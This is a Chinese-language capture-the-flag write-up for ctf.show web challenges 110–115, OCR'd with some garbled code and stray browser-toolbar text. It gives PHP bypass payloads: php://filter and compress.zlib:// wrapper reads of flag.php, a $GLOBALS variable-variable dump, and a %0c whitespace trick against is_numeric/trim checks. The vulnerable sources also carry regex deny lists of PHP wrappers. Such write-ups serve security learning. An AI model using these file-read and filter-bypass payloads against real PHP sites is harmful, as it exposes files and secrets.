web110

这里正则进行了匹配,不能存在符号,所以就不能再用上题的方法

我们可以使用FilesystemIterator文件系统迭代器来进行利用,

The FilesystemIterator class

```
(\mathtt{PHP} \ 5 \ \gt= \ 5. \ 3. \ 0, \ \mathtt{PHP} \ 7, \ \mathtt{PHP} \ 8)
```

简介

The Filesystem iterator

通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构

getcwd

(PHP 4, PHP 5, PHP 7, PHP 8) getcwd — 取得当前工作目录

payload

```
$flag="ctfshow{e81b30f8-1e80-4adf-adbf-15144e3edabc}";

□ HackBar ● HackBar 中 查看器 ▷ 控制台 □ 调试器 ↑ 网络 {} 样式编辑器 ② 性能 ① 内存 日 存储 ≫

LOAD ▼ SPLIT EXECUTE TEST ▼ SQLI ▼ XSS ▼ LFI ▼ SSRF ▼ SSTI ▼ SI

URL

https://6b7f5d23-02ee-46db-8e8f-bd7763751e78.challenge.ctf.show/fl36dga.txt
```

web111

```
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
   eval("$$v1 = &$$v2;");
   var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
   $v1 = $_GET['v1'];
   v2 = GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\\|\(|\)|\_|\-|\+|\=|\{|\
[|\;|\:|\"|\'|\,|\.|\?|\\\||[0-9]|\<|\>/', $v1)){
            die("error v1");
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\
[|\;|\:|\"|\'|\,|\.|\?|\\\||[0-9]|\<|\>/', $v2)){
           die("error v2");
   }
   if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
   }
}
?>
```

这题用了一个变量覆盖, v1要有ctfshow

然后执行getflag函数

会把v2的地址传给v1,接着再输出v1

从而调用全局变量GLOBALS

\$GLOBALS

引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

payload

```
?v1=ctfshow&v2=GLOBALS
```

得到flag

```
["_COOKIE"]=> array(0) { } ["_HILES"]=> array(0) { } ["v1"]=> &string(/) "cttshow" ["v2"]=> &string(/) "GLOBALS"
["flag"]=> string(45) "ctfshow{8293ac6a-f01a-47e8-b7a9-77164fa6b29d}" ["GLOBALS"]=> &array(8) { ["_GET"]=>
array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { }
["_FILES"]=> array(0) {} ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45)
"ctfshow{8293ac6a-f01a-47e8-b7a9-77164fa6b29d}" ["GLOBALS"]=> *RECURSION* } }
□ HackBar ● HackBar □ 查看器 □ 控制台 □ 调试器 ↑ 网络 {} 样式编辑器 □ 性能 □ 内存 目 存储 >>
                                                                                                 91 □ ··· ×
  LOAD - SPLIT
                     EXECUTE
                                 TEST ▼
                                           SQLI ▼
                                                     XSS -
                                                              LFI ▼
                                                                      SSRF ▼
                                                                                SSTI *
                                                                                         SHELL -
                                                                                                    ENCODIN
https://5f1464c0-053a-47f7-aa49-903c81eb4f96.challenge.ctf.show/?v1=ctfshow&v2=GLOBALS
```

web112

```
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
```

简单介绍一下函数

is_file()

函数检查指定的文件名是否是正常的文件

is_file

```
(PHP 4, PHP 5, PHP 7, PHP 8)
is_file — 判断给定文件名是否为一个正常的文件
```

filter()

函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤

绕过正则才能执行highlight_file语句来读取flag文件,

payload

```
?file=php://filter/resource=flag.php
```

得到flag

web113

```
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file
)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
```

比上一题多过滤了filter

我们换一个伪协议

压缩流zlib://

payload

```
?file=compress.zlib://flag.php
```

得到flag

```
$flag="ctfshow {82204e34-a85f-46cd-8c1f-14b208c2d4c1}";

□ HackBar ● HackBar 中 查看器 ② 控制台 □ 调试器 ↑ 网络 {} 样式编辑器 ② 性能 ① 内存 目 存储 ≫ ●1 □ ・・・

LOAD ▼ SPLIT EXECUTE TEST▼ SQLI▼ XSS▼ LFI▼ SSRF▼ SSTI▼ SHELL▼ ENCODING

URL

https://dce71f77-0efe-407a-973e-1c6d40362095.challenge.ctf.show/?file=compress.zlib://
flag.php
```

web114

```
error_reporting(0);
highlight_file(__FILE__);
function filter($file){

if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|bas
e64|string/i',$file)){
    die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
```

```
禁用了compress
但是没有禁用filter
可以继续用filter伪协议
payload
 ?file=php://filter/resource=flag.php
```

得到flag

```
$flag="ctfshow(1939f320-dcfd-4424-bcbb-fd728e58b97a)";
I HackBar ● HackBar 中 查看器 D 控制台 D 调试器 ↑ 网络 {} 柱式编辑器 ♀ 性能 ② 内存 日 存储 ≫
  LOAD - SPLIT
                   EXECUTE
                             TEST -
                                      SQLI ▼
                                              XSS -
<
 https://b606d4b0-4581-4a41-8e9c-6fe8fcdc2611.challenge.ctf.show/?file=php://filter/
 resource=flag.php
```

web115

```
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and
filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
}else{
    echo "hacker!!!";
}
```

新函数str_replace

str_replace

(PHP 4, PHP 5, PHP 7, PHP 8) str_replace — 子字符串替换

说明

进行字符替换,不能出现0,0x,e,.和+

trim(\$num)移除字符串两侧的字符不能等于36

trim

(PHP 4, PHP 5, PHP 7, PHP 8) trim — 去除字符串首尾处的空白字符(或者其他字符)

说明

```
trim(string $string, string $characters = " \n\r\t\v\x00"): string
```

此函数返回字符串 string 去除首尾空白字符后的结果。如果不指定第二个参数, trim() 将去除这些字符:

- 。""(ASCII 32 (0x20)), 普通空格符。
- 。"\t" (ASCII 9 (0x09)), 制表符。
- 。"\n" (ASCII 10 (0x0A)), 换行符。
- 。"\r" (ASCII 13 (0x0D)), 回车符。
- 。 "\0" (ASCII 0 (0x00)), 空字节符。
- 。 "\v" (ASCII 11 (0x0B)), 垂直制表符。

发现无法去除分页符%0c

payload

?num=%0c36

得到flag